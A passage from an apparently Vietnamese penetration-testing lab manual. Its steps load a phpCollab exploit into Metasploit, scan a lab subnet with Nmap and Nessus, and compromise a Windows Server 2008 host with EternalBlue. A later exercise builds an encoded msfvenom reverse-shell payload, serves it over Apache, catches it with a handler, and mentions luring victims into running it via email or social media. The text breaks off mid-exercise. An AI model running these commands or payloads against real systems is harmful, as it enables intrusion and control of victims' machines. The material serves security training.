- Đây là cấu trúc của mô-đun Metasploit và chứa thông tin mà bạn có thể xem bằng lệnh info trong các mô-đun. Cẩn thận xem lại mã trong mô-đun. Lưu ý rằng bạn cần kiểm tra tất cả các tập lệnh trước khi sử dụng chúng trong thử nghiệm. Nếu bạn chưa quen với Ruby, vui lòng thực hiện nghiên cứu của bạn về chi tiết chạy các mô-đun này đối với máy khách đang ký hợp đồng với bạn với tư cách là người kiểm tra thâm nhập chuyên nghiệp (Vui lòng xem phụ lục để biết cách viết tập lệnh Ruby).
- Đóng cửa sổ trình soạn thảo văn bản sau khi xem xét.
- Tiếp theo, sao chép mô-đun bằng cách vào thư mục Metasploit. Sau đó, sao chép mã vào đó; nhập cd usr/share/metasploit-framework/modules/exploits/multi/http và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh cd usr/share/metasploit-framework/modules/exploits/multi/http và đầu ra của nó)
- Điều này sẽ đặt bạn vào thư mục chứa các mô-đun khai thác HTTP. Vì bạn đang làm việc với PHP, đây là một vị trí tốt để đặt nó.
- Sao chép mã bằng lệnh sau sudo cp /home/pentester/Downloads/43519.rb phpcollab.rb và nhấn Enter. Nếu bạn được yêu cầu nhập mật khẩu, hãy nhập toor. Thao tác này sẽ sao chép khai thác vào thư mục và đổi tên nó.
(Ảnh chụp màn hình hiển thị lệnh sudo cp /home/pentester/Downloads/43519.rb phpcollab.rb và đầu ra của nó)
- Nhập sudo service postgresql start và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh sudo service postgresql start và đầu ra của nó)
- Nhập sudo msfconsole và nhấn Enter. Sau đó, msfconsole xuất hiện; lưu ý số lượng khai thác.
(Ảnh chụp màn hình hiển thị đầu ra msfconsole)
- Nhập reload_all và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh reload_all và đầu ra của nó)
- Tìm khai thác đã thêm bằng cách tìm kiếm nó; nhập search phpcollab và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh search phpcollab và đầu ra của nó)
- Bây giờ bạn sẽ thấy khai thác của mình. Bạn vừa cập nhật khai thác trong Metasploit; nhập use exploit/multi/http/phpcollab và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh use exploit/multi/http/phpcollab và đầu ra của nó)
- Khi bạn đã ở trong khai thác, nhập info và nhấn Enter để đọc về khai thác.
(Ảnh chụp màn hình hiển thị lệnh info cho mô-đun khai thác phpcollab và đầu ra của nó)
- Khi bạn đã đọc xong, nhập show options và nhấn Enter. Xem lại các tùy chọn có sẵn.
(Ảnh chụp màn hình hiển thị lệnh show options cho mô-đun khai thác phpcollab và đầu ra của nó)
- Để xem Mục tiêu, nhập show targets và nhấn Enter. Trong trường hợp này, bạn chỉ có một mục tiêu.
(Ảnh chụp màn hình hiển thị lệnh show targets cho mô-đun khai thác phpcollab và đầu ra của nó)
- Bạn sẽ có thể tìm thấy thêm thông tin về ứng dụng này. phpCollab là một không gian làm việc cộng tác dựa trên Internet nguồn mở cho các nhóm dự án. Được mô phỏng theo Macromedia Sitespring, kiến trúc của phpCollab cho phép nhóm tư vấn chia sẻ thông tin với nhau trong một không gian và xuất bản thông tin đó, khi cần thiết, đến một không gian khác cho khách hàng. phpCollab bao gồm các khía cạnh quan trọng nhất của quản lý dự án như lập kế hoạch nhiệm vụ và chia sẻ tài liệu. Nó móc nối với các ứng dụng nguồn mở khác như Mantis để theo dõi lỗi cũng như PhPNuke (sử dụng phpCollabPublisher) để quản lý nội dung và hỗ trợ dự án đang diễn ra. Cộng đồng phpCollab, một phần của cộng đồng phần mềm nguồn mở sourceforge lớn hơn, rất tích cực, với một nhóm tình nguyện viên chuyên dụng gồm các nhà phát triển, người thử nghiệm và người viết tài liệu liên tục cải tiến ứng dụng để đáp ứng nhu cầu của người dùng.
- Bạn cũng có thể thiết lập bài thực hành và sau đó kiểm tra khai thác của mình.
- Bài thực hành này kết thúc tại đây.
Bài tập 19: Khai thác lỗ hổng hệ điều hành Windows
Kịch bản
Khi kẻ tấn công có thông tin liên quan đến các thiết bị mạng, chúng có thể sử dụng nó làm điểm xâm nhập vào mạng cho một cuộc tấn công toàn diện và thực hiện nhiều loại tấn công khác nhau, từ tấn công DoS đến truy cập quản trị trái phép.
Là một người kiểm tra thâm nhập chuyên nghiệp, bạn phải hiểu cách quét các lỗ hổng, thông số kỹ thuật tuân thủ và vi phạm chính sách nội dung bằng công cụ Nessus.
Thời lượng thực hành: 30 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn là người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Trong bài thực hành này, chúng tôi sẽ quét một mạng con để tìm các máy đang hoạt động. Chọn một máy và kiểm tra thâm nhập máy đó để có quyền truy cập vào nó. Để thực hiện quét nhanh, chúng tôi sẽ thực hiện quét ping bằng Nmap. Trong bài thực hành này, chúng tôi đang chọn một mạng nội bộ (Mạng con D) để kiểm tra thâm nhập. Khởi chạy terminal dòng lệnh, nhập nmap -sP 172.19.19.1-255 và nhấn Enter. Điều này sẽ hiển thị tất cả các máy chủ đang hoạt động trên mạng trong vòng một phút. Trong bài thực hành này, chúng tôi đang chọn 172.19.19.15 (Bộ phận Quảng cáo) làm mục tiêu của chúng tôi.
(Ảnh chụp màn hình hiển thị lệnh nmap -sP 172.19.19.1-255 và đầu ra của nó)
- Bây giờ, chúng tôi sẽ quét các máy Bộ phận Quảng cáo để xem các cổng đang mở, các dịch vụ đang chạy cùng với phiên bản của chúng và hệ điều hành bên dưới. Nhập nmap -T4 -A 172.19.19.15 và nhấn Enter. Nmap mất khoảng 3 phút để hoàn thành quét. Sau khi quét xong, bạn sẽ thấy rằng cổng 445 đang mở và hệ điều hành bên dưới là Windows Server 2008 R2. Đóng terminal.
3 phút để hoàn thành quét. Sau khi quét xong, bạn sẽ thấy rằng cổng 445 đang mở và hệ điều hành bên dưới là Windows Server 2008 R2. Đóng terminal.
(Ảnh chụp màn hình hiển thị lệnh nmap -T4 -A 172.19.19.15 và đầu ra của nó)
- Bây giờ, chúng ta sẽ thực hiện quét lỗ hổng trên Bộ phận Quảng cáo bằng Nessus trong Windows Server 2019.
Bạn cũng có thể tìm kiếm các lỗ hổng đã tồn tại liên quan đến phiên bản dịch vụ/hệ điều hành đã xác định trong searchsploit/exploit-db.
- Nhấp vào Windows Server 2019 và nhấp vào Ctrl+Alt+Delete.
(Ảnh chụp màn hình hiển thị màn hình Ctrl+Alt+Delete trên Windows Server 2019)
- Trong trường mật khẩu, nhấp vào Pa w0rd và nhấn Enter.
Bạn có thể sử dụng tùy chọn Nhập Mật khẩu từ menu Lệnh để nhập mật khẩu.
(Ảnh chụp màn hình hiển thị màn hình đăng nhập trên Windows Server 2019)
- Khởi chạy bất kỳ trình duyệt web nào, trong bài thực hành này, chúng tôi đang sử dụng trình duyệt Google Chrome. Để khởi chạy trình duyệt Google Chrome, nhấp đúp vào biểu tượng Google Chrome trên Màn hình nền.
Bạn cũng có thể nhấp vào biểu tượng Google Chrome trên thanh tác vụ hoặc khởi chạy nó từ các ứng dụng menu Start.
Nếu bạn sử dụng một trình duyệt khác thì ảnh chụp màn hình sẽ khác.
(Ảnh chụp màn hình hiển thị màn hình nền Windows Server 2019 với biểu tượng Google Chrome được tô sáng)
- Trình duyệt Google Chrome xuất hiện, bây giờ nhập https://localhost:8834 vào thanh địa chỉ của trình duyệt và nhấn Enter.
Bạn cũng có thể nhấp vào dấu trang Đăng nhập Nessus trên trình duyệt chrome.
(Ảnh chụp màn hình hiển thị trình duyệt Google Chrome với https://localhost:8834 được nhập vào thanh địa chỉ)
- Trang lỗi quyền riêng tư xuất hiện, nhấp vào Nâng cao.
(Ảnh chụp màn hình hiển thị trang lỗi quyền riêng tư trong Google Chrome)
- Nhấp vào liên kết Tiến hành đến localhost (không an toàn).
(Ảnh chụp màn hình hiển thị trang lỗi quyền riêng tư trong Google Chrome với liên kết Tiến hành đến localhost (không an toàn) được tô sáng)
- Trang Nessus/Đăng nhập xuất hiện. Nhập thông tin đăng nhập sau và nhấp vào Đăng nhập:
Tên người dùng: admin
Mật khẩu: qwerty@123
Nếu trang đăng nhập không xuất hiện, hãy chuyển đến Control Panel -> Administrative Tools -> Services và khởi động lại dịch vụ Tenable Nessus. Sau khi hoàn tất, tải lại trang web.
(Ảnh chụp màn hình hiển thị trang đăng nhập Nessus)
- Cửa sổ bật lên Chào mừng đến với Nessus Essentials xuất hiện như được hiển thị trong ảnh chụp màn hình, nhấp vào Đóng.
(Ảnh chụp màn hình hiển thị cửa sổ bật lên Chào mừng đến với Nessus Essentials)
- Sau khi đăng nhập thành công, hãy chuyển đến Nessus Policies và nhấp vào liên kết Tạo chính sách mới.
Nếu có bất kỳ thông báo nào xuất hiện ở góc trên cùng bên phải của cửa sổ, hãy bỏ qua chúng.
Nessus sẽ tự động đăng xuất nếu bạn để cửa sổ trình duyệt không hoạt động trong 5 phút.
(Ảnh chụp màn hình hiển thị trang Chính sách Nessus với liên kết Tạo chính sách mới được tô sáng)
- Cửa sổ Mẫu Chính sách xuất hiện với Mẫu Trình quét như được hiển thị trong ảnh chụp màn hình bên dưới.
(Ảnh chụp màn hình hiển thị cửa sổ Mẫu Chính sách trong Nessus)
- Trong phần Trình quét, nhấp vào chính sách Quét Nâng cao.
(Ảnh chụp màn hình hiển thị cửa sổ Mẫu Chính sách trong Nessus với chính sách Quét Nâng cao được chọn)
- Cửa sổ chính sách Quét Nâng cao xuất hiện hiển thị tab Cài đặt. Trong cài đặt Cơ bản trong phần Chung, chỉ định tên chính sách trong trường Tên (ở đây là System_Scan) và đưa ra mô tả về chính sách. Sau khi hoàn tất, để nguyên phần Quyền với cài đặt mặc định và nhấp vào Khám phá trong ngăn bên trái.
Trong bài thực hành này, chúng tôi sẽ quét máy Bộ phận Quảng cáo (Windows Server 2008).
(Ảnh chụp màn hình hiển thị cửa sổ chính sách Quét Nâng cao trong Nessus)
- Khi bạn nhấp vào KHÁM PHÁ, nó sẽ thả xuống danh sách 3 tùy chọn, tức là Khám phá Máy chủ, Quét Cổng và Khám phá Dịch vụ. Bây giờ chúng ta sẽ cấu hình cài đặt Khám phá Máy chủ. Trong cài đặt Khám phá Máy chủ, chuyển đổi tùy chọn Ping Máy chủ Từ xa thành tắt.
Cuộn xuống nếu bạn muốn xem phần còn lại của cài đặt trong mô-đun Khám phá Máy chủ.
(Ảnh chụp màn hình hiển thị cài đặt Khám phá Máy chủ trong Nessus)
- Trong mô-đun Quét Cổng, chọn tùy chọn Xác minh cổng TCP đang mở được tìm thấy bởi trình liệt kê cổng cục bộ. Để nguyên các cài đặt khác theo mặc định,
nhấp vào ĐÁNH GIÁ từ ngăn bên trái.
(Ảnh chụp màn hình hiển thị mô-đun Quét Cổng trong Nessus)
- Khi bạn nhấp vào mô-đun ĐÁNH GIÁ, nó sẽ hiển thị cho bạn cài đặt Chung, nơi bạn có thể thấy Độ chính xác, Khoảng thời gian ân hạn cho định nghĩa chống vi-rút và các tùy chọn SMTP.
Ở đây bạn có thể để các cài đặt theo mặc định và nhấp vào Brute Force từ ngăn bên trái.
(Ảnh chụp màn hình hiển thị mô-đun ĐÁNH GIÁ trong Nessus)
- Trong cài đặt Brute Force, đảm bảo rằng tùy chọn Chỉ sử dụng thông tin đăng nhập do người dùng cung cấp được chọn trong phần Cài đặt Chung, sau đó nhấp vào mô-đun Ứng dụng Web trong ngăn bên trái.
(Ảnh chụp màn hình hiển thị cài đặt Brute Force trong Nessus)
- Trong mô-đun Ứng dụng Web, nếu bạn có bất kỳ ứng dụng web nào được lưu trữ trên mạng, hãy BẬT nó hoặc để các cài đặt theo mặc định, sau đó nhấp vào mô-đun Windows từ ngăn bên trái. Trong bài thực hành này, chúng tôi đã để các cài đặt theo mặc định (Tắt) vì không có ứng dụng web nào được lưu trữ trên máy mục tiêu.
Bạn có thể bật bằng cách chuyển đổi công tắc Quét ứng dụng web.
(Ảnh chụp màn hình hiển thị mô-đun Ứng dụng Web trong Nessus)
- Trong mô-đun Windows, đảm bảo rằng Yêu cầu Thông tin về Miền SMB được chọn và để nguyên các cài đặt khác theo mặc định. Bây giờ nhấp vào mô-đun BÁO CÁO từ ngăn bên trái.
(Ảnh chụp màn hình hiển thị mô-đun Windows trong Nessus)
- Trong mô-đun BÁO CÁO, để nguyên tất cả các cài đặt theo mặc định và nhấp vào NÂNG CAO từ ngăn bên trái.
(Ảnh chụp màn hình hiển thị mô-đun BÁO CÁO trong Nessus)
- Trong mô-đun Nâng cao, cuộn xuống phần Tùy chọn Hiệu suất và đặt giá trị cho Số lượng máy chủ đồng thời tối đa trên mỗi lần quét là 100, Số lượng phiên TCP đồng thời tối đa trên mỗi máy chủ là không giới hạn và Số lượng phiên TCP đồng thời tối đa trên mỗi lần quét là không giới hạn. Sau khi cấu hình các tùy chọn này, hãy cuộn lên cửa sổ và nhấp vào mô-đun Thông tin đăng nhập.
(Ảnh chụp màn hình hiển thị mô-đun Nâng cao trong Nessus)
- Trong mô-đun Thông tin đăng nhập, nó sẽ hiển thị các tùy chọn Dịch vụ đám mây, Cơ sở dữ liệu, Máy chủ, Khác và Xác thực văn bản thuần túy. Tại đây, bạn có thể kích hoạt các tùy chọn này bằng cách chọn chúng từ ngăn bên trái. Trong bài thực hành này, chúng tôi đã giữ nguyên các cài đặt theo mặc định. Bây giờ, nhấp vào mô-đun Plugin để xem các plugin có sẵn.
(Ảnh chụp màn hình hiển thị mô-đun Thông tin đăng nhập trong Nessus)
- Trong mô-đun Plugin, Nessus hiển thị tất cả các plugin và thông tin của chúng. Tại đây, bạn có thể chọn plugin theo mạng mục tiêu của mình và sau đó nhấp vào nút Lưu để lưu chính sách mới. Trong bài thực hành này, chúng tôi không chọn bất kỳ plugin nào.
(Ảnh chụp màn hình hiển thị mô-đun Plugin trong Nessus)
- Bây giờ chính sách đã tạo được lưu trong phần Chính sách như được hiển thị trong ảnh chụp màn hình bên dưới:
(Ảnh chụp màn hình hiển thị chính sách đã lưu trong Nessus)
- Để bắt đầu quét mới, nhấp vào Quét của tôi trong ngăn bên trái.
(Ảnh chụp màn hình hiển thị ngăn bên trái trong Nessus với Quét của tôi được tô sáng)
- Nhấp vào liên kết Tạo Quét Mới để tạo quét mới.
(Ảnh chụp màn hình hiển thị trang Quét của tôi trong Nessus với liên kết Tạo Quét Mới được tô sáng)
- Khi bạn nhấp vào nút Quét Mới, nó sẽ chuyển hướng bạn đến cửa sổ Mẫu Quét, nơi bạn cần chọn chính sách bạn đã tạo. Chính sách đã tạo có trong phần Chính sách do người dùng xác định, vì vậy hãy nhấp vào tab Do người dùng xác định.
(Ảnh chụp màn hình hiển thị cửa sổ Mẫu Quét trong Nessus)
- Phần chính sách Do người dùng xác định xuất hiện, nhấp vào chính sách Quét Hệ thống.
(Ảnh chụp màn hình hiển thị phần chính sách Do người dùng xác định trong Nessus)
- Phần Cài đặt của Mẫu Quét xuất hiện. Đặt tên cho quét trong trường Văn bản Tên (ở đây là System_Scan.), nhập mô tả cho quét trong trường Mô tả, để nguyên trường Thư mục được đặt theo mặc định và nhập địa chỉ IP của máy Bộ phận Quảng cáo vào trường văn bản Mục tiêu (ở đây là 172.19.19.15). Nhấp vào mô-đun Lịch biểu trong ngăn bên trái.
Bạn có thể chỉ định nhiều máy để quét bằng Nessus. Đối với trình diễn thực hành, chúng tôi đang sử dụng một máy duy nhất.
(Ảnh chụp màn hình hiển thị phần Cài đặt của Mẫu Quét trong Nessus)
- Phần Lịch biểu cho phép bạn chỉ định tần suất quét. Trong phần này, bạn có thể chỉ định tần suất Nessus quét máy mục tiêu. Để nguyên cài đặt này theo mặc định, nhấp vào menu thả xuống Lưu và nhấp vào Khởi chạy. Thao tác này sẽ khởi chạy quét lỗ hổng trên máy Bộ phận Quảng cáo.
(Ảnh chụp màn hình hiển thị phần Lịch biểu của Mẫu Quét trong Nessus)
- Ngay khi bạn nhấp vào liên kết Khởi chạy, Nessus sẽ bắt đầu quét trên máy Bộ phận Quảng cáo như được hiển thị trong ảnh chụp màn hình bên dưới. Mất khoảng 10 phút để quét máy.
(Ảnh chụp màn hình hiển thị tiến trình quét trong Nessus)
- Khi quét hoàn tất, nó sẽ hiển thị dấu tích như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị quét đã hoàn thành trong Nessus)
- Nhấp vào System_Scan để xem kết quả quét.
(Ảnh chụp màn hình hiển thị danh sách quét trong Nessus với System_Scan được tô sáng)
- Nhấp vào 172.19.19.15 để xem tất cả các lỗ hổng liên quan đến nó.
(Ảnh chụp màn hình hiển thị chi tiết máy chủ trong Nessus với 172.19.19.15 được tô sáng)
- Danh sách các lỗ hổng được hiển thị cho máy chủ này như được hiển thị trong ảnh chụp màn hình bên dưới:
(Ảnh chụp màn hình hiển thị danh sách lỗ hổng trong Nessus)
- Nhấp vào Báo cáo và chọn một định dạng (ở đây là HTML) để xuất kết quả.
(Ảnh chụp màn hình hiển thị nút Báo cáo trong Nessus với tùy chọn HTML được tô sáng)
- Cửa sổ bật lên Tạo Báo cáo HTML xuất hiện, chọn Tóm tắt Điều hành từ danh sách thả xuống và nhấp vào nút Tạo Báo cáo.
(Ảnh chụp màn hình hiển thị cửa sổ bật lên Tạo Báo cáo HTML)
- Cửa sổ Lưu dưới dạng xuất hiện, chọn vị trí mong muốn của bạn để lưu báo cáo và nhấp vào Lưu. Trong bài thực hành này, chúng tôi đang chọn Màn hình nền để lưu tệp.
(Ảnh chụp màn hình hiển thị cửa sổ Lưu dưới dạng)
- Bây giờ, hãy thu nhỏ cửa sổ trình duyệt và điều hướng đến vị trí báo cáo đã tải xuống (ở đây là Desktop).
- Nhấp đúp vào tệp đã tải xuống để xem kết quả.
(Ảnh chụp màn hình hiển thị màn hình nền với tệp báo cáo được tô sáng)
- Báo cáo được tạo xuất hiện như được hiển thị trong ảnh chụp màn hình. Nhấp vào Hiển thị Chi tiết để xem chi tiết đầy đủ của các lỗ hổng.
Cuộn xuống để phân tích báo cáo đầy đủ.
(Ảnh chụp màn hình hiển thị báo cáo lỗ hổng trong trình duyệt)
- Bây giờ, chúng tôi sẽ chọn một lỗ hổng được tìm thấy trong máy mục tiêu và cố gắng khai thác nó bằng mô-đun Metasploit. Trong bài thực hành này, chúng tôi sẽ khai thác lỗ hổng được phát hiện gần đây (Eternal Blue) được liên kết với MS:17-010 (ID CVE: 2017-0143). Trước khi thực hiện khai thác, đảm bảo rằng máy nạn nhân Bộ phận Quảng cáo được bật nguồn. Chuyển trở lại máy Parrot.
(Ảnh chụp màn hình hiển thị báo cáo lỗ hổng trong trình duyệt với lỗ hổng Eternal Blue được tô sáng)
- Khởi chạy Dòng lệnh Terminal từ thanh tác vụ. Nhập lệnh msfconsole và nhấn Enter để khởi chạy giao diện điều khiển khuôn khổ Metasploit.
(Ảnh chụp màn hình hiển thị terminal dòng lệnh với lệnh msfconsole)
- Bây giờ, chúng tôi sẽ kiểm tra xem máy Bộ phận Quảng cáo có dễ bị tấn công Eternal Blue hay không bằng trình quét phụ trợ smb_ms17_010.
- Nhập use auxiliary/scanner/smb/smb_ms17_010 trong msfconsole và nhấn Enter để sử dụng mô-đun.
(Ảnh chụp màn hình hiển thị lệnh use auxiliary/scanner/smb/smb_ms17_010 và đầu ra của nó)
- Bây giờ, hãy nhập set rhosts 172.19.19.15 và nhấn Enter để đặt mục tiêu là Bộ phận Quảng cáo.
(Ảnh chụp màn hình hiển thị lệnh set rhosts 172.19.19.15 và đầu ra của nó)
- Nhập run và nhấn Enter để kiểm tra xem máy có dễ bị tấn công hay không. Bạn sẽ thấy rằng Bộ phận Quảng cáo (Windows Server 2008) dễ bị tấn công Eternal Blue như được hiển thị trong ảnh chụp màn hình bên dưới.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh run cho mô-đun smb_ms17_010)
- Bây giờ, chúng tôi sẽ tìm kiếm khai thác Eternal Blue. Nhập search eternalblue trong msfconsole và nhấn Enter. Điều này sẽ hiển thị trình quét và khai thác được liên kết với Eternal Blue như được hiển thị trong ảnh chụp màn hình. Chúng tôi sẽ sử dụng khai thác eternalblue để xâm nhập máy mục tiêu.
(Ảnh chụp màn hình hiển thị lệnh search eternalblue và đầu ra của nó)
- Nhập use exploit/windows/smb/ms17_010_eternalblue trong msfconsole và nhấn Enter.
Bỏ qua thông báo cảnh báo.
(Ảnh chụp màn hình hiển thị lệnh use exploit/windows/smb/ms17_010_eternalblue và đầu ra của nó)
- Bây giờ, hãy nhập show options và nhấn Enter để xem tất cả các tùy chọn được liên kết với khai thác.
(Ảnh chụp màn hình hiển thị lệnh show options cho mô-đun eternalblue và đầu ra của nó)
- Vì vậy, chúng ta đã biết từ bước trước đó là chúng ta cần đặt giá trị của RHOST và LHOST. Việc đặt payload windows/x64/meterpreter/reverse_tcp làm tăng cơ hội đạt được phiên meterpreter. Đưa ra các lệnh sau trong msfconsole:
a. set RHOSTS 172.19.19.15
b. set LHOST 172.19.19.18
172.19.19.18 là địa chỉ IP của máy Parrot.
- Vì chúng ta đã đặt các tùy chọn cần thiết cho mô-đun khai thác, bây giờ chúng ta sẽ thực hiện khai thác trên máy mục tiêu bằng cách kích hoạt khai thác. Vì vậy, nhập exploit và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh exploit cho mô-đun eternalblue và đầu ra của nó)
- Phiên meterpreter đã đạt được, nghĩa là chúng ta đã khai thác thành công lỗ hổng smb trong máy mục tiêu bằng khai thác Eternal Blue.
Nếu bạn không nhận được phiên Meterpreter ở lần thử đầu tiên, hãy nhập exploit và nhấn Enter lại.
(Ảnh chụp màn hình hiển thị phiên meterpreter đã thiết lập)
- Chúng ta đã khai thác thành công lỗ hổng smb được tìm thấy trong máy mục tiêu. Chụp ảnh màn hình của màn hình khởi động xuất hiện trong bước trước đó và lưu nó vào thư mục kiểm tra thâm nhập tương ứng.
Bạn đã quét thành công mạng để tìm lỗ hổng.
Bài tập 20: Khai thác và leo thang đặc quyền trên hệ điều hành Windows
Kịch bản
Hack mật khẩu là một trong những cách dễ nhất và phổ biến nhất mà tin tặc có được quyền truy cập máy tính hoặc mạng trái phép. Mặc dù mật khẩu mạnh khó bẻ khóa (hoặc đoán) rất dễ tạo và duy trì, nhưng người dùng thường bỏ qua điều này. Do đó, mật khẩu là một trong những mắt xích yếu nhất trong chuỗi bảo mật thông tin. Mật khẩu dựa vào tính bảo mật. Sau khi mật khẩu bị xâm phạm, chủ sở hữu ban đầu của nó không phải là người duy nhất có thể truy cập hệ thống bằng mật khẩu đó. Tin tặc có nhiều cách để lấy mật khẩu. Tin tặc có thể lấy mật khẩu từ máy tính cục bộ bằng cách sử dụng phần mềm bẻ khóa mật khẩu. Để lấy mật khẩu từ khắp mạng, tin tặc có thể sử dụng các tiện ích bẻ khóa từ xa hoặc trình phân tích mạng. Chương này trình bày cách tin tặc có thể dễ dàng thu thập thông tin mật khẩu từ mạng của bạn và mô tả các lỗ hổng mật khẩu tồn tại trong mạng máy tính.
Mục tiêu của bài thực hành này là giúp học viên học cách:
• Khai thác máy dễ bị tấn công
• Leo thang đặc quyền
• Lấy băm mật khẩu
• Bẻ khóa băm mật khẩu
• Bật kết nối máy tính để bàn từ xa trên máy
Thời gian thực hành: 30 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn là người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Trong bài thực hành này, chúng tôi sẽ nhắm mục tiêu địa chỉ IP 172.19.19.15 (Bộ phận Quảng cáo), đã được xác định trong quá trình quét ping trong bài thực hành trước đó. Bài thực hành này là một phần của Kiểm tra thâm nhập Hộp trắng, nơi bạn được cung cấp thông tin rằng máy đang chạy trên máy có khả năng phòng thủ bảo mật được cấu hình kém. Trước khi bắt đầu bài thực hành này, hãy đăng nhập vào máy Bộ phận Quảng cáo bằng thông tin đăng nhập Quản trị viên và Pa w0rd và tắt Kết nối Máy tính để bàn Từ xa như được hiển thị trong ảnh chụp màn hình bên dưới.
(Ảnh chụp màn hình hiển thị cài đặt Hệ thống trên máy Bộ phận Quảng cáo với tab Từ xa được chọn)
- Chuyển sang Parrot và nhấp vào biểu tượng Terminal từ thanh tác vụ để khởi chạy terminal dòng lệnh. Nhập sudo su và nhấn Enter, nhập toor và nhấn Enter để có quyền root.
(Ảnh chụp màn hình hiển thị terminal dòng lệnh trên Parrot với lệnh sudo su và đầu ra của nó)
- Nhập lệnh msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ lhost=172.19.19.18 lport=443 -f exe > /home/pentester/Desktop/shikata.exe và nhấn Enter. Thao tác này tạo ra payload shikata_ga_nai với tên shikata.exe trên Màn hình nền.
(Ảnh chụp màn hình hiển thị lệnh msfvenom và đầu ra của nó)
- Nhập lệnh service apache2 start và nhấn Enter. Việc đưa ra lệnh này sẽ khởi chạy máy chủ apache cho phép bạn chia sẻ tệp với người dùng từ xa.
Nếu bạn đang thực hiện bài thực hành trong khi Greenbone Security Assistant Daemon (gsad) đã chạy, máy chủ apache có thể không khởi động được. Trong trường hợp đó, bạn cần dừng dịch vụ OpenVas trước khi khởi động máy chủ Apache.
Nếu cửa sổ bật lên Xác thực xuất hiện, hãy nhập toor và nhấp vào Xác thực.
(Ảnh chụp màn hình hiển thị lệnh service apache2 start và đầu ra của nó)
- Mở một terminal dòng lệnh mới và nhập mkdir /var/www/html/share và nhấn Enter để tạo một thư mục mới “share” trong thư mục html.
(Ảnh chụp màn hình hiển thị lệnh mkdir /var/www/html/share và đầu ra của nó)
- Thay đổi quyền cho thư mục share thành 755 bằng cách nhập lệnh sau: chmod -R 755 /var/www/html/share/
(Ảnh chụp màn hình hiển thị lệnh chmod -R 755 /var/www/html/share/ và đầu ra của nó)
- Nhập lệnh cp /home/pentester/Desktop/shikata.exe /var/www/html/share và nhấn Enter. Việc đưa ra lệnh này sẽ sao chép payload vào thư mục share.
(Ảnh chụp màn hình hiển thị lệnh cp /home/pentester/Desktop/shikata.exe /var/www/html/share và đầu ra của nó)
- Nhập lệnh msfconsole và nhấn Enter. Thao tác này sẽ khởi chạy msfconsole.
(Ảnh chụp màn hình hiển thị lệnh msfconsole và đầu ra của nó)
- Nhập lệnh use exploit/multi/handler trong msfconsole và nhấn Enter. Điều này cho phép msfconsole sử dụng khai thác multi/handler.
(Ảnh chụp màn hình hiển thị lệnh use exploit/multi/handler và đầu ra của nó)
- Nhập lệnh set payload windows/meterpreter/reverse_tcp và nhấn Enter. Thao tác này cho phép msfconsole đặt payload meterpreter/reverse_tcp.
(Ảnh chụp màn hình hiển thị lệnh set payload windows/meterpreter/reverse_tcp và đầu ra của nó)
- Đưa ra các lệnh sau:
set lhost 172.19.19.18
set lport 443
Bằng cách đưa ra các lệnh này, bất cứ khi nào nạn nhân thực thi payload shikata.exe, nó sẽ kết nối nạn nhân với lhost, tức là 172.19.19.18 thông qua cổng 443 (lport).
Bây giờ, nhập lệnh show options và nhấn Enter. Thao tác này sẽ hiển thị mặc định và các tùy chọn đã cấu hình như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị lệnh show options cho mô-đun multi/handler và đầu ra của nó)
- Nhập exploit và nhấn Enter. Điều này sẽ khởi tạo khai thác multi/handler. Vì vậy, khi nạn nhân dự định tải xuống payload shikata.exe và thực thi nó, một phiên meterpreter được thiết lập và máy mục tiêu nằm dưới sự kiểm soát của bạn.
Trong thời gian thực, người kiểm tra thâm nhập có thể chia sẻ payload này với nạn nhân thông qua phương tiện như phương tiện truyền thông xã hội, email và ổ đĩa mạng được chia sẻ và dụ dỗ họ tải xuống và thực thi nó. Vì đây là trình diễn thực hành, chúng tôi giả định rằng người kiểm tra thâm nhập đã gửi liên kết và chúng tôi với tư cách là nạn nhân sẽ mở liên kết và thực thi payload.
(Ảnh chụp màn hình hiển thị lệnh exploit cho mô-đun multi/handler và đầu ra của nó)
- Nhấp vào Bộ phận Quảng cáo, đăng nhập vào tài khoản Quản trị viên và đóng cửa sổ Server Manager.
Thông tin đăng nhập là:
Tên người dùng: Quản trị viên
Mật khẩu: Pa
w0rd Bạn có thể sử dụng Ctrl+Alt+Delete, sau đó nhập tùy chọn Mật khẩu từ menu Lệnh để nhập mật khẩu.
(Ảnh chụp màn hình hiển thị màn hình Ctrl+Alt+Delete trên máy Bộ phận Quảng cáo)
- Khởi chạy trình duyệt web Firefox, nhập URL http://172.19.19.18/share và nhấn Enter. Một trang web xuất hiện hiển thị payload. Nhấp vào liên kết shikata.exe để tải xuống payload.
Nếu cửa sổ bật lên Microsoft Windows xuất hiện yêu cầu khởi động lại máy, hãy nhấp vào tùy chọn Khởi động lại sau.
(Ảnh chụp màn hình hiển thị trình duyệt web Firefox với payload được hiển thị)
- Cửa sổ bật lên Mở shikata.exe xuất hiện, nhấp vào nút Lưu tệp để lưu payload trên máy.
(Ảnh chụp màn hình hiển thị cửa sổ bật lên Mở shikata.exe)
- Cửa sổ bật lên Tải xuống xuất hiện ở góc trên cùng bên phải của trang web, hiển thị tệp shikata.exe đã được tải xuống. Nhấp vào tệp để thực thi nó.
(Ảnh chụp màn hình hiển thị cửa sổ bật lên Tải xuống)
- Cửa sổ bật lên Mở tệp – Cảnh báo bảo mật xuất hiện, nhấp vào Chạy để thực thi payload.
(Ảnh chụp màn hình hiển thị cửa sổ bật lên Cảnh báo bảo mật)
